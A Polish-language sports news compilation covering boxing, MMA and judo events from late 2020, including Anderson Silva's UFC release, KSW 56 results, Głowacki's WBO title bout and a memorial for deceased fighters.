Anderson Silva stał się pierwszoplanową postacią organizacji. Rozpalał zbiorową wyobraźnię swoimi efektownymi nokautami. Aż 26 zwycięstw zanotował przed czasem. Brazylijczyk śrubował rekord kolejnych obron – w lipcu 2012 roku zanotował dziesiątą wygraną. Pas stracił w lipcu 2013 na rzecz Chrisa Weidmana.

Obraz wręcz idealny – wspaniały zawodnik, wielki mistrz. Tego, co osiągnął Anderson Silva nikt mu nie zabierze. Zapisał piękną kartę w historii UFC, a także całego MMA. Na wizerunku pojawiły się jednak rysy. W 2015 roku, po walce z Nickiem Diazem, w organizmie Brazylijczyka wykryto niedozwolone substancje. Podobnie u Amerykanina. Brazylijczyka zawieszono na rok i otrzymał karę finansową. Powtórka nastąpiła w 2017 roku przed galą UFC Fight Night 122. "Spider" miał zmierzyć się z Kelvinem Gastelumem, ale test przed wydarzeniem wykazał obecność syntetycznego testosteronu oraz diuretyku. Skończyło się na zawieszeniu na rok.

Anderson Silva wrócił do rywalizacji w lutym 2019 roku. Podczas gali UFC 234 przegrał z Israelem Adesanyą. W Rio de Janeiro mocne kopnięcie Jareda Cannoniera doprowadziło do kontuzji kolana brazylijskiego gwiazdora. Kolejna przegrana na koncie Silvy. Ostatni raz byłego mistrza wagi średniej mogliśmy zobaczyć w Las Vegas. 31 października br. Silva doznał trzeciej porażki z rzędu. W czwartej rundzie Uriah Hall zakończył rywalizację. W efekcie UFC postanowiło zwolnić "Spidera", choć w kontrakcie miał jeszcze jedno starcie.

Pewna epoka dobiegła końca. Silva nie przypomina już zawodnika sprzed lat. Ma 45 lat, ale niewykluczone, że jeszcze go zobaczymy w rywalizacji MMA.

Fot. Anderson "The Spider" Silva Facebook

KM

28 listopada na gali FEN 31: LOTOS Fight Night walką wieczoru będzie pojedynek rewanżowy pomiędzy Danielem Rutkowskim a Adrianem Zielińskim. Stawką tego starcia będą dwa pasy mistrzowskie dwóch organizacji MMA w kategorii piórkowej: FEN oraz Babilon. Cena PPV na FEN 31: LOTOS Fight Night to 40 złotych. Wyłącznie na platformie https://fenmma.tv wydarzenie można będzie obejrzeć w ciągu 24 godzin od momentu zakończenia gali. Dostęp PPV można także nabyć na Cyfrowym Polsacie oraz Ipla.tv.

[kod]

12 grudnia szykuje się prawdziwa bokserska uczta. W 02 Arena dojdzie do walki o cztery pasy mistrzowskie w wadze ciężkiej pomiędzy Anthonym Joshuą, a Kubratem Pulevem. W Londynie zaprezentują się również Krzysztof Głowacki i Mariusz Wach.

W ostatnich miesiącach nasze życie zmieniło się, jednak musimy odnaleźć się w realiach pandemii. Do warunków dostosować się muszą również sportowcy. Czekamy na wielkie emocje, ściskamy kciuki za naszych ulubieńców, a ich poczynania możemy śledzić jedynie za pośrednictwem telewizji bądź transmisji internetowych.

12 grudnia w Londynie nie zabraknie polskich akcentów. Obecnie na Wyspach Brytyjskich gala bokserska z udziałem Anthony’ego Joshuy, Krzysztofa Głowackiego i Mariusza Wacha zeszła na boczny plan. Emocje wywołuje czwarty sezon popularnego serialu The Crown, który opisuje losy rodziny królewskiej. Recenzje, komentarze, a przy tym ogromne zainteresowanie widzów – nie tylko na Wyspach, ale i wielu innych krajach. W tych trudnych czasach musimy dbać o swoje zdrowie, również w wymiarze psychicznym, dlatego warto odstresować się i zrelaksować. Dobry serial, ciekawa książka, ale i sportowe emocje.

Dobrze – gdy już zapoznamy się z The Crown, przyjdzie czas na Londyn w wydaniu sportowym. 12 grudnia Joshua przystąpi do pierwszej obrony tytułów po odzyskaniu ich rok temu z rąk Andy'ego Ruiza Jr. Pulew ma za sobą serię ośmiu zwycięstw i po raz drugi spróbuje sięgnąć po mistrzostwo świata. Czas pandemii jednak rządzi się swoimi prawami. Niebawem główni aktorzy grudniowej gali przejdą w tryb izolacji.

W Londynie nie zabraknie polskich akcentów. Krzysztof Głowacki będzie rywalizował o pas mistrzowski WBO w wadze junior ciężkiej. Polak zmierzy się z Lawrencem Okolie. Głowacki po raz drugi może sięgnąć po pas. Tytuł wywalczył w 2015 roku pokonując Marco Hucka, a stracił go rok później w pojedynku z Oleksandrem Usykiem. Potem wygrał pięć pojedynków i przegrał z Mairisem Briedisem w półfinale World Boxing Super Series. Łotysz dopuścił się nieczystych zagrań.

Kolejne wyzwanie w karierze Mariusza Wacha. Polski pięściarz zmierzy się z Fury'm, ale Hughie'em. Ostatnio Wach pokonał Kevina Johnsona, wcześniej przegrał z Dillianem Whyte'm. Blisko 41-letni pięściarz ma na koncie 36 zwycięstw. 26-letni Fury pokonał w tym roku Pavela Soura. W swojej karierze przegrał trzykrotnie – z Josephem Parkerem, Kubratem Pulevem i Alexandrem Powietkinem. Dla Wacha starcia z Fury'm to wyzwanie, ale i szansa na ponownie zaistnienie na "salonach" wagi ciężkiej.

12 grudnia Londyn będzie polski. Głowacki powalczy o pas mistrzowski, Wach może sporo zyskać. Dwa dni później "Wiking" będzie świętował urodziny, więc musi sprawić sobie prezent. Czekamy na euforię i polskie triumfu w O2 Arena.

Fot. Krzysztof Głowacki Facebook

KM

Walką wieczoru będzie pojedynek rewanżowy pomiędzy Danielem Rutkowskim a Adrianem Zielińskim. Stawką tego starcia będą dwa pasy mistrzowskie dwóch organizacji MMA w kategorii piórkowej: FEN oraz Babilon. Walką, której stawką będzie pas mistrzowski FEN w kategorii półciężkiej, jest zestawienie Adama Kowalskiego z Marcinem Wójcikiem. Dodatkowo kibice wszechstylowej walki wręcz zobaczą w Łodzi długo wyczekiwany debiut w FEN Pawła Trybały, który podejmie Łukasza Borowskiego. Ozdobą listopadowej gali będzie starcie mistrzowskie, w którym zmierzą się Sebastian Romanowski z Jonasem Magardem oraz starcie na szczycie kategorii półśredniej, w którym rękawice skrzyżują Kamil Gniadek i Piotr Poniedziałek.

[kod]

Trzeba poczekać na kolejny pojedynek Tysona Fury'ego. Mistrz wagi ciężkiej WBC nie zaprezentuje się gali w Londynie, która miała odbyć się 5 grudnia.

Wróćmy wspomnieniami do 22 lutego 2020 roku. Las Vegas, pojedynek Fury'ego i Deontaya Wildera. "Olbrzym z Wilmslow" zdominował Amerykanina, który był bezradny i nie potrafił wykorzystać swoich atutów. W siódmej rundzie mistrz poległ i pas zmienił właściciela. Fury ponownie w karierze zasiadł na tronie kategorii królewskiej. Warto wspomnieć, że było to drugie starcie pięściarzy. W pierwszym sędziowie orzekli remis.

Wydawało się, że naturalną koleją rzeczy będzie walka numer 3. Niektórzy zacierali ręce na to starcie, a wszystkie „znaki na niebie i ziemi” wskazywały na realizację przedsięwzięcia. Kontrakt dawał taką możliwość Wilderowi. Wszystko się jednak pokomplikowało przez pandemię koronawirusa, ale nie można zrzucać winy na sytuację. Pojedynek planowano w lipcu, potem w grudniu. Strony nie mogły się jednak porozumieć i w końcu Fury stracił cierpliwość. Brytyjczyk zwracał uwagę na opieszałość Wildera. Zdaniem Fury’ego czas na organizację rewanżu minął. Z kolei przedstawiciele Wildera stoją na innym stanowisku. Pojawiły się rozbieżności, ale życie toczy się dalej.

Mistrz miał plany, co do kolejnego występu. Mówiło się, że Fury zaprezentuje się 5 grudnia na gali w Londynie. Lista potencjalnych kandydatów była długa. Wymieniano m.in. Aleksandra Dimitrenkę, Kaska Alego, Lucasa Browne'a. Na liście znalazł się także Mariusz Wach. Potem spekulowano, że największe szanse ma Simon Kean, ale na ostatniej prostej na pierwszy plan wysunął się Agit Kabayel. W niedzielę 15 listopada Fury poinformował, że w ringu się jednak nie pojawi. – Król Cyganów powraca w 2021 roku. Tylko Ci, którzy mnie wspierają na 100%, będą ze mną w dniu chwały – napisał bokser na Twitterze.

Cała sytuacja zapewne ma związek z ostatnimi krokami Wildera. Obóz byłego mistrza WBC podjął działania związane z uruchomienie tzw. klauzuli rozwiązywania sporów. Celem Amerykanina jest trzecia walka z Fury'm. Szykuje się zatem nie tylko ringowa rywalizacja.

Fot. Tyson Fury Facebook

KM

W walce wieczoru gali KSW 56 Roberto Soldić pokonał Michała Materlę. Pas mistrzowski w kategorii półciężkiej nadal należy do Tomasza Narkuna.

25-letni Soldić przebojem wdarł się do KSW. W grudniu 2017 roku pokonał Borysa Mańkowskiego i sięgnął po pas w wadze półśredniej. Co prawda stracił go na rzecz Dricusa Du Plessisa, ale w rewanżu Chorwat okazał się lepszy. Potem Soldić wygrał trzy walki. Podczas KSW 56 chorwacki wojownik miał zmierzyć się z legendą organizacji Michałem Materlą. 30-latek w tym roku pokonał Alesandara Ilicia (KSW 55), a wcześniej na gali EFM 3 wygrał z Wilhelmem Ottem.

W Łodzi karty rozdawał Soldić. Materla starał się odeprzeć napór rywala, ale Chorwat ciągle parł do przodu i posyłał ciosy w stronę doświadczonego rywala. Po kolejnych uderzeniach 36-latek padł na matę. Chorwat kontynuował swoją pracę i podkręcał tempo. Soldić wyprowadzał celne kopnięcia, Materla ponownie znalazł się na deskach. Pojedynek zakończył się w pierwszej rundzie. Soldić w kolejnym występie chciałby zmierzyć się z Mamedem Khalidovem.

Efektownie zaprezentował się Tomasz Narkun, który obronił pas międzynarodowego mistrza KSW w wadze półciężkiej. Popularny "Żyrafa" zmierzył się z Ivanem Erslanem. Pierwsza runda spokojna, ale w drugiej po kombinacji Narkuna rywal wylądował na deskach. Mistrz wygrał przez duszenie zza pleców.

Udany debiut w KSW zaliczyła Justyna Haba. Na dystansie trzech rund 29-latka okazała się lepsza od Karoliny Owczarz, która poniosła pierwszą porażkę w organizacji. Pech Andrzeja Grzebyka. 29-letni zawodnik nie dotrwał do końca pierwszej rundy w starciu z Mariusem Zaromskisem. Grzebyk trafił do szpitala, podczas walki złamał nogę. Wygraną w debiucie w KSW zanotował Mateusz Legierski. Polak niejednogłośną decyzją sędziów pokonał Francisco Barrio.

Niektórzy nie zdążyli mrugnąć, a Filip Pejić zapisał na swoim koncie zwycięstwo w starciu z Sebastianem Rajewskim. Do wygranej potrzebował zaledwie 12 sekund! Sprawę załatwił potężny prawy, Rajewski nie był w stanie wstać. Efektowne zwycięstwo Roberta Ruchały, który przez balachę pokonał Michała Domina w pierwszej rundzie. Trzecią wygraną w KSW zanotował Daniel Torres. 26-latek pokonał niejednogłośną decyzją sędziów Maxa Coga.

Fot. Roberto Soldić Facebook

KM

Radość w Porecu. Katarzyna Sobierajska (70kg) wywalczyła złoty medal mistrzostw Europy juniorów.

Do Chorwacji pojechała szesnastoosobowa reprezentacja Polski. Łącznie na starcie pojawiło się ponad 350 judoczek i judoków. Rywalizacja juniorów rozpoczęła się 4 listopada, a zakończyć się 6 listopada. Drugiego dnia zmagań na najwyższym stopniu podium stanęła Katarzyna Sobierajska.

18-letnia zawodniczka AZS Uniwersytet Warszawski znakomicie rozpoczęła zmagania w Porecu. Szybko uporała się z Yelyzabetą Lytvynenko, błyskawicznie pokonała Christinę Stamouli. Potem Polce przyszło rywalizować z Francuzką Morgane Fereol. W ubiegłym roku 20-letnia Francuzka sięgnęła po brąz mistrzostw świata juniorów, ale w Porecu nie potrafiła przeciwstawić się Sobierajskiej. 18-letnia Polka wygrała przez ippon i awansowała do półfinału. Tam czekała na nią Shaked Amihai. Sobierajska wygrała czwartą walkę przed czasem i pozostała jej rywalizacja o złoto. Polka trafiła na Joanę Crisostomo z Portugalii. O triumfie Sobierajskiej zadecydowało waza-ari. Piąte zwycięstwo w turnieju i złoty medal stały się faktem.

Ogromny sukces 18-letniej Sobierajskiej, która rok temu sięgnęła w Warszawie po brązowy medal mistrzostw Europy kadetek. Teraz dołożyła kolejny krążek do swojej kolekcji, ale z najcenniejszego kruszcu. Kariera Sobierajskiej rozwija się i widać postępy. Z sukcesami występowała w kadetach, w juniorach potwierdziła swoje możliwości. Co istotne, zawodniczka jest w szerokiej kadrze na listopadowe mistrzostwa Europy seniorów w Pradze.

Podium było blisko

Blisko podium rywalizację w Porecu zakończyła Aleksandra Janeczko (52kg). Polka przed czasem pokonała Zelihę Cinci i Aelinę Mazitovą. Marsz Janeczko powstrzymała brązowa medalistka poprzedniego czempionatu Naomi van Krevel. Polce pozostała rywalizacja o brązowy medal. Janeczko trafiła na Sofię Asvestę, która w repasażach szybko uporała się z Martą Kuraś. Zawodniczka z Cypru miała tego dnia sposób na Polki. W niecałe półtorej minuty pokonała Janeczko i sięgnęła po brąz. Polka zakończyła zmagania na piątym miejscu.

Na siódmych pozycjach mistrzostwa Europy zakończyły Marta Kuraś (52kg) i Zuzanna Łogożna (57kg).

Fot. European Judo Union

KM

Adam Kownacki może szykować się do rewanżowego starcia z Robertem Heleniusem. Obozy pięściarzy doszły do porozumienia w kwestiach finansowych.

Po marcowej porażce z Heleniusem, "Babyface" przepraszał wszystkich za to, że zawiódł ich oczekiwania. Jednocześnie dziękował za wsparcie. W Adama Kownackiego wierzy wielu fanów polskiego boksu. Pięściarz dostarcza ogromnych emocji, jednak w marcu musiał uznać wyższość Heleniusa. Kownacki zaczął dobrze, ale rywal przetrwał jego napór i groźnie zaatakował. Polak znalazł się na deskach, ale sędzia nie uznał tego za nokdaun. Helenius ruszył, aby dokończyć dzieła i mógł wznieść ręce w geście triumfu. Należy przypomnieć, że Polak przegrał w czwartej rundzie. Po pojedynku nie ukrywał swojego kolejnego celu. – Optymistycznie dostaniemy rewanż i naprawię swoje błędy – napisał w mediach społecznościowych.

Adam Kownacki może szykować się do kolejnego starcia z Heleniusem. Warunki zostały ustalone, o czym poinformował Keith Idec z boxingscene.com. – Adam Kownacki będzie miał szansę zrewanżować się za jedyną porażkę z Robertem Heleniusem. Data nie jest jeszcze ustalona, ale osiągnięto porozumienie w kwestii zasad kolejnego starcia – podał.

Nie da się ukryć, że w tym przypadku sprawa rewanżu wydawała się czymś naturalnym. Kownacki chce wygrać z Heleniusem i nadal znajdować się w czołówce wagi ciężkiej. „Babyface” znakomicie radził sobie w kategorii królewskiej, co sprawiło, że był wymieniany wśród kandydatów do walki o pas. Można powiedzieć, że na ostatniej prostej zaliczył wpadkę bądź najzwyczajniej w świecie – potknął się. Takie sytuacje się zdarzają. Trzeba jednak oddać, że Helenius to mocny i doświadczony obecnie to nierealne. Prawdopodobny termin starcia Kownackiego z Heleniusem to początek przyszłego roku. Walka miałaby się odbyć w Stanach Zjednoczonych.

Dla Kownackiego będzie to 22 starcie w karierze. 31-latek wygrał 20 pojedynków, w tym 15 przed czasem. 36-letni Helenius ma za sobą 33 pojedynki, z których 30 zakończyło się jego sukcesem. Pogromcami fińskiego boksera byli: Johann Duhaupas, Dillian Whyte i Gerald Washington.

Fot. Adam Kownacki Instagram

KM

12 grudnia w Londynie Krzysztof Głowacki będzie rywalizował o wakujący tytuł mistrza świata WBO wagi junior ciężkiej. Jego rywalem będzie Lawrence Okolie.

W końcu potwierdziło się to, o czym mówiło się od dłuższego czasu. Rozmowy dotyczące pojedynku Głowackiego z Okolie trwały kilka miesięcy. Rzecz jasna, że w związku z pandemią koronawirusa trudno było uznać cokolwiek za pewnik. Pierwotnie mówiło się o 23 maja. Z powodu koronawirusa do pojedynku nie doszło. Później mówiło się, że starcie może odbyć się latem. w końcu pojawił się termin grudniowy – 5 bądź 12 grudnia. Obozy Głowackiego i Okolie doszły do porozumienia, ustalono warunki finansowe, podpisano kontrakty. Starcie odbędzie się 12 grudnia.

Stawką walki Polaka z Brytyjczykiem będzie wakujący pas WBO. Do jesieni 2019 roku tytuł należał do Mairisa Briedisa. Łotysz stracił pas, ponieważ nie chciał przystąpić do rewanżowego starcia z Głowackim. Było to pokłosie gali w Rydze, gdzie Briedis pokonał Głowackiego, ale trafił go łokciem i uderzył po gongu. Łotysz miał spotkać się ponownie z Polakiem, jednak chciał stoczyć bój w finale World Boxing Super Series z Yunierem Dorticosem. W związku z tym musiał oddać pas WBO.

Głowacki i Okolice są najwyżej notowani w rankingu organizacji, więc to oni zawalczą o mistrzostwo świata. Dla Polaka będzie to kolejna szansa na sięgnięcie po pas, Okolie otrzymał pierwszą taką okazję. 34-letni „Główka” ostatni raz rywalizował w czerwcu 2019 roku, kiedy to przegrał ze wspomnianym Briedisem. Wcześniej zanotował pięć zwycięstw z rzędu. 27-letni Okolie jeszcze nigdy nie przegrał. Ma na swoim koncie 14 zwycięstw, w tym 11 przed czasem.

Na nowego mistrza świata czeka Dilan Prasović. 25-letni Czarnogórzec jest pretendentem do pasa WBO. Nowy czempion będzie musiał się z nim spotkać w ciągu 120 dni.

Podczas grudniowej gali dojdzie do pojedynku mistrzowskiego w wadze ciężkiej pomiędzy Anthonym Joshuą, a Kubratem Pulewem.

Fot. Krzysztof Głowacki Facebook

KM

Jeszcze nie weszła do ringu, a straciła pas. Ewa Brodnicka nie zmieściła się w limicie wagi super piórkowej przed pojedynkiem z Mikaelą Mayer. Tym samym tytuł WBO należący do Polki stał się wakujący.

Brodnicka szykowała się do występu w MGM Grand w Las Vegas. Dla 36-letniej Brodnickiej miała to być kolejna obrona pasa WBO, a także pierwszy występ w Stanach Zjednoczonych. Rywalizacja z Mikaelą Mayer rysowała się jako ogromne wyzwanie. Wielu ekspertów w Amerykance upatruje faworytki starcia. 30-letni Mayer wygrała trzynaście pojedynków w karierze, w tym pięć przed czasem.

Brodnicka powalczy o kolejne zwycięstwo w karierze, zaś Amerykanka o pas mistrzowski. Jeśli Mayer wygra – zostanie mistrzynią. W przypadku triumfu Brodnickiej pas będzie zwakowany.  Wszystko przez… wagę. Ewa Brodnicka nie zmieściła się w limicie kategorii super piórkowej. Podczas pierwszej próby przekroczyła wymagany próg o 0,9 funta. Polka dostała dodatkową godzinę, ale przy drugim podejściu również nie spełniała założeń. Polka ważyła 130,1 funta, a limit w walce mistrzowskiej wynosi 130 funtów. Przeliczając na kilogramy, do normy Brodnickiej zabrakło około 0,05 kg.

36-letnia "Kleo" straciła pas, ale czeka ją walka. Teraz celem jest rywalizacja sportowa. – Co się wydarzyło na ważeniu to już przeszłość. Później opowiem szczegóły tego zajścia. Pas jest wakujący. Pas nie czyni ze mnie lepszej pięściarki, ani człowieka. W sercu nadal czuję się mistrzynią i mam taką samą motywację, żeby wygrać.  Dzisiaj pełne skupienie na walce. Dziękuję za liczne wiadomości, czuję Wasze wsparcie. Trzymajcie kciuki kochani – napisała Brodnicka w mediach społecznościowych.

Ewa Brodnicka pięciokrotnie skutecznie broniła pasa WBO. Ostatnio, w marcu w Dzierżoniowie, pokonała Djemillę Gontaruk. Warto wspomnieć, że w maju 2017 roku Polka sięgnęła po tymczasowy tytuł wygrywając z Irmą Balijagić Adler. Brodnicka o pas miała walczyć z Ramoną Kuehne, jednak ta nie podpisała kontraktu i zrezygnowałą z walki. Pas trafił więc do Brodnickiej.

Fot. Ewa Brodnicka Facebook

KM

Dzień Wszystkich Świętych to okazja do zadumy i refleksji nad mijającym czasem. Wspominamy tych, których z nami już nie ma. W ciągu ostatnich dwunastu miesięcy pożegnaliśmy wiele osób związanych ze sportami walki.

"Nie umiera ten, kto trwa w pamięci żywych" (ks. Jan Twardowski). 1 listopada to symboliczny dzień w naszej kulturze, tradycji. Zastanawiamy się nad sensem życia, przemijaniem i wartościami. Pochylamy się nad grobami naszych bliskich zmarłych. W tym roku ten czas wygląda nieco inaczej ze względu na obostrzenia. Mimo to okres Wszystkich Świętych to czas wspomnień tych, których z nami nie ma. Cenimy ich, pozostawili po sobie ogromny dorobek i są wzorami do naśladowania. W świecie sportów walki pożegnaliśmy wiele wybitnych postaci, minął kolejny rok, gdy ich z nami nie ma…

W 2020 roku zmarł Jean-Baptiste Mendy. Utytułowany bokser miał zaledwie 57 lat, a przyczyną śmierci była choroba nowotworowa. Francuz miał na koncie mistrzostwo świata w wadze lekkiej organizacji WBA i WBC. W wieku zaledwie 49 lat zmarł wielokrotny medalista Polski w boksie Piotr Jurczyk. W marcu na koronawirusa zmarł Angelo Rottoli. Były mistrz w wagi junior ciężkiej przeżył 61 lat.

9 września zmarł Alan Minter. W latach 70. i 80. był czołowym brytyjskim pięściarzem, który na swoim koncie zapisał niekwestionowany tytuł wagi średniej. Minter zmarł w wieku 69 lat. W listopadzie 2019 roku odszedł Dwight Ritchie. Australijski pięściarz podczas sparingu otrzymał cios, po którym się nie podniósł. Ritchie miał 27 lat. W sierpniu odszedł Alessandro Mazzinghi, który na swoim koncie zapisał zawodowe mistrzostwo kategorii lekkośredniej. Tytuł zdobył w 1963 roku. Na koncie miał również pas mistrza Europy. Mazzinghi zmarł w wieku 81 lat. W kwietniu 2020 roku pożegnaliśmy dziennikarza sportowego Lucjana Olszewskiego. Miał 84 lata.

Sięgnął po pas w wadze półśredniej Contenders. Mógł stoczyć jeszcze wiele wspaniałych walk, jednak nie ma go już wśród nas. W lipcu w wieku zaledwie 30 lat odszedł Jahreau Shepherd. Ogromny szok w świecie MMA wywołała śmierć Abdulmanapa Nurmagomedova. Ojciec Khabiba zmarł w wieku 57 lat, a przyczyną zgony były powikłania po zakażeniu koronawirusem. W wieku 30 lat zginął Isaiah Chapman. Zawodnik MMA został zastrzelony w Stanach Zjednoczonych. 

Szerokim echem odbiła się sprawa egezkucji irańskiego zapaśnika Navida Afkariego. Wiele osób i organizacji apelowało do władz Iranu, jednak te były bezwzględne. 27-letni Afkari został skazany na śmierć w wyniku oskarżeń o zabójstwo podczas antyrządowych protestów w 2018 roku. W wieku 29 lat zmarł polski zapaśnik Dominik Sikora, który trafił do szpitala w wyniku ciężkiego pobicia.

W wieku 87 lat odszedł zawodnik i trener judo Ryszard Zieniawa. Na swoim koncie zapisał jedenaście złotych medali mistrzostw Polski. Był szkoleniowcem kadry, a jego podopieczni wywalczyli medale na igrzyskach w Seulu – złoto Waldemar Legień i srebro Janusz Pawłowski. We śnie odeszła mistrzyni Europy w judo z 2003 roku Katrin Beinroth. Niemka miała zaledwie 38 lat.

W naszych sercach pozostają wspaniali i utytułowani sportowcy: Józef Warchoł, Jerzy Kulej, Zbigniew Pietrzykowski, Józef Wiśniewski, Joe Frazier, Muhammad Ali, Tomasz Skrzypek, Andrzej Gmitruk, Lucjan Trela, Mieczysław Tracz, Józef Grudzień, Anton Geesink.

KM

Polscy judocy mają za sobą start w Grand Slam w Budapeszcie. Najlepiej zaprezentowała się Agata Ozdoba-Błach (63kg), która zajęła siódmą lokatę.

Budapeszt to piękne miasto, które wśród turystów budzi zachwyt. Zamek Króleski, baszta rybacka, ogromny budynek parlamentu – to tylko kilka zabytków wartych uwagi. Z pewnością wizyta w stolicy Węgier gwarantuje ciekawe doświadczenia. Budapeszt miło wspomina Agata Ozdoba-Błach. Trzy lata temu nasza judoczka sięgnęła na Węgrzech po brązowy medal mistrzostw świata. Dwa lata temu zajęła trzecie miejsce w zawodach Grand Prix. W 2014 roku Polka uplasowała się na piątej pozycji.

W minionym tygodniu Ozdoba-Błach po raz kolejny udała się do Budapesztu. Zawody Grand Prix judoczka ukończyła na siódmej pozycji. Ozdoba-Błach pokonała Amerykankę Alishę Galles, ale przegrała z Catherine Beauchemin-Pinard. Pozostała jej rywalizacja w repasażach, ale tam lepiej zaprezentowała się Ketleyn Quadros. – Nie jest to szczyt moich marzeń, ale ten start dał mi kolejne 260 punktów do rankingu olimpijskiego. Po rewanżu na Amerykance przegrałam walkę z Kanadyjką. Niestety w toku zawodów coraz bardziej odczuwałam intensywny ból szyi i do trzeciej walki przeciwko reprezentantce Brazylii nie byłam już w stanie wyjść w pełni zdrowia. Walczyłam bardziej z bólem niż z zawodniczką – komentuje brązowa medalistka mistrzostw świata z 2017 roku. – Teraz czeka mnie krótki okres regeneracji i przygotowanie do kolejnych startów – dodaje.

Występy pozostałych

Angelika Szymańska (63kg) pokonała ekspresowo Adelinę Stefanię Dobre, ale w kolejnym starciu przegrała z utytułowaną Tiną Trstenjak. Po jednej walce wygrały Anna Załęczna (+78kg) oraz Katarzyna Sobierajska (70kg), które potem trafiły na wysoko sklasyfikowane w światowym rankingu rywalki – odpowiednio Beatriz Souzę i Michaela Polleres. Damian Szwarnowiecki (81kg) zwyciężył z Sveinbjornem Iurą, ale w kolejnym starciu uległ Portugalczykowi Joao Martinho. Bez wygranej turniej w Budapeszcie zakończyli Paulina Dziopa (78kg) i Piotr Kuczera (90kg).

Fot. Agata Ozdoba-Błach Facebook

KM

Program "ON" to sylwetki zawodników sportów walki. W rozmowie ze Zbigniewem Zającem fighterzy opowiedzą o sobie ale z trochę innej strony. Zapraszamy do oglądania.

[kod]

Program "ON" to sylwetki zawodników sportów walki. W rozmowie ze Zbigniewem Zającem fighterzy opowiedzą o sobie ale z trochę innej strony. Zapraszamy do oglądania.

[kod]

Bella Mir, córka utytułowanego Franka Mira, ma za sobą debiut w MMA. 17-letnia zawodniczka wygrała pojedynek decyzją sędziów.

Słysząc nazwisko Mir od razu myślimy o Franku, który zapisał na swoim koncie mistrzostwo UFC w wadze ciężkiej. Dla niektórych będą to odległe czasy, bo Amerykanin sięgnął po tytuł w 2004 roku. Mir pokonal Tima Sylvę, którego poddał balachą. Potem na swoim koncie zapisał pas tymczasowy zwyciężając Antonio Rodrigo Nogueierę. Tytułu jednak nie zdobył, bo lepszy okazał się od niego Brock Lesnar, którego rok wcześniej Mir pokonał. Amerykanin był związany z UFC przez 15 lat! Stoczył wiele efektownych pojedynków, wygrywał przed czasem i zapisał się na kartach historii organizacji. Potem rywalizował w Bellatorze, gdzie ostatnią walkę stoczył w październiku 2019 roku. Na dystansie trzech rund Mir pokonał Roya Nelsona. 41-latek nie zamierza rezygnować z rywalizacji. Kilka tygodni temu pojawiła się informacja, że Mir podpisał kontrakt z organizacją Bare Knuckle Fighting Championship i będzie walczył na gołe pięści.

Frank zainspirował swoją córkę Bellę, która postanowiła pójść jego drogą. Z pewnością serce ojca biło zdecydowanie szybciej w ostatnich dniach, gdy wielkimi krokami zbliżał się debiut 17-latki w MMA. Mir stanął w narożniku córki na gali iKON 2 w Sanorze w Meksyku, podczas której młoda zawodniczka zmierzyła się z Danielle Wynn. Rywalka również debiutowała w MMA, ale była zdecydowanie starsza niż Bella. Rywalki dzieliła różnica 16 lat!

Różnica wieku nie miała jednak znaczenia. Bella Mir chciała zaprezentować się z jak najlepszej strony i od początku zdecydowanie ruszyła na Wynn. Zyskała dobre geny i chciała to potwierdzić. Bella Mir zbudowała przewagę, kontrolowała przebieg pojedynku. Dwie pierwsze rundy zdecydowanie na korzyść 17-latki, ale w trzeciej zaczęło ubywać jej sił. Wynn miała więcej okazji, aby zaprezentować swoje umiejętności, ale na przestrzeni całego starcia lepiej wypadła Bella. Sędziowie byli jednomyślni i wskazali na jej zwycięstwo – 29:28. – 1-0 i do następnego – napisała Bella w mediach społecznościowych. Czekamy na kolejny pojedynek Mir junior i rozwój jej kariery.

Fot. Bella Mir Facebook

KM

26 listopada Daniel Omielańczuk stanie przed szansą zdobycia pasa mistrzowskiego ACA w wadze ciężkiej. Aby po niego sięgnąć, musi pokonać Tony'ego Johnsona Jr.

38-letni polski fighter jest w gazie. Omielańczuk znakomicie radzi sobie w organizacji ACA, czego najlepszym dowodem są cztery wygrane pojedynki z rzędu, w tym trzy przed czasem. Ostatnio, w sierpniu w Łodzi, 38-latek wypunktował Tomasa Pakutinskasa. Dotychczas w rosyjskiej organizacji Polak przegrał tylko raz. We wrześniu 2018 roku Omielańczuk musiał uznać wyższość Amira Aliego Akbariego.

Dobra postawa Omielańczuka utorowała mu drogę do starcia o mistrzowski pas. O tym, że Polak ma szansę stanąć do walki o tytuł mówiło się od dłuższego czasu. W końcu nadszedł ten moment. Omielańczuk podczas gali ACA 114 w Łodzi stanie do rywalizacji o pas. Mukhumat Vakhaev podjął decyzję o zwakowaniu tytułu, a więc rywalem polskiego zawodnika będzie Tony Johnson. 34-letni Amerykanin ma za sobą trzy pojedynki w ACA, z czego aż dwa stoczył w Polsce. W debiucie, który miał miejsce w Warszawie efektownie pokonał Denisa Smoldareva. Podczas ACA 96 w Łodzi Johnson stanął przed szansę zdobycia pasa mistrzowskiego. "Hulk" zmierzył się z Evgenijem Goncharovem, jednak pojedynek został uznany za no contest. Johnson został trafiony palcem w oko. W rewanżu lepszy okazał się Goncharov.

Zdecydowanie większym doświadczeniem może pochwalić się Omielańczuk, który stoczył w MMA 33 pojedynki. Polak wygrał 24, w tym 16 przed czasem. Omielańczuk ma również za sobą występy w UFC, gdzie pokonał m.in. Jarjisa Danho oraz Alexeja Olejnika. Johnson łącznie stoczył 18 walk, z których 13 wygrał. Amerykanin rywalizował m.in w One FC czy Bellatorze.

26 listopada w Łodzi Omielańczuk stanie przed szansą zdobycia mistrzowskiego pasa wagi ciężkiej. Może być pierwszym Polakiem, który zdobędzie tytuł w ACA. Omielańczuk jest rozpędzony, ale rywal z pewnością nie ułatwi mu zadania. Podczas gali w Łodzi odbędzie się 13 pojedynków z udziałem 10 Polaków.

Fot. Daniel Omielańczuk Facebook

KM

23-letni Teofimo Lopez znalazł się na ustach wszystkich po pokonaniu Wasyla Łomaczenki. Amerykanin został mistrzem świata wagi lekkiej. Zaczęła się nowa era.

Mistrz to ktoś, kto uchodzi za najlepszego w danej dziedzinie. Wzór profesjonalizmu, pracy, skuteczności i umiejętności. Przez lata Wasyl Łomaczenko budował swoją pozycję w boksie zawodowym. W maju 2018 roku w Madison Square Garden zdobył pas mistrza świata WBA wagi lekkiej. Wcześniej świetnie radził sobie w kategorii super piórkowej (tytuł WBO). Z czasem do swojego dorobku ukraiński pięściarz dokładał kolejne pasy – WBO i WBC. Stał się jedną z najjaśniejszych postaci boksu, przez wielu uznawany był za najlepszego pięściarza bez podziału na kategorie wagowe.

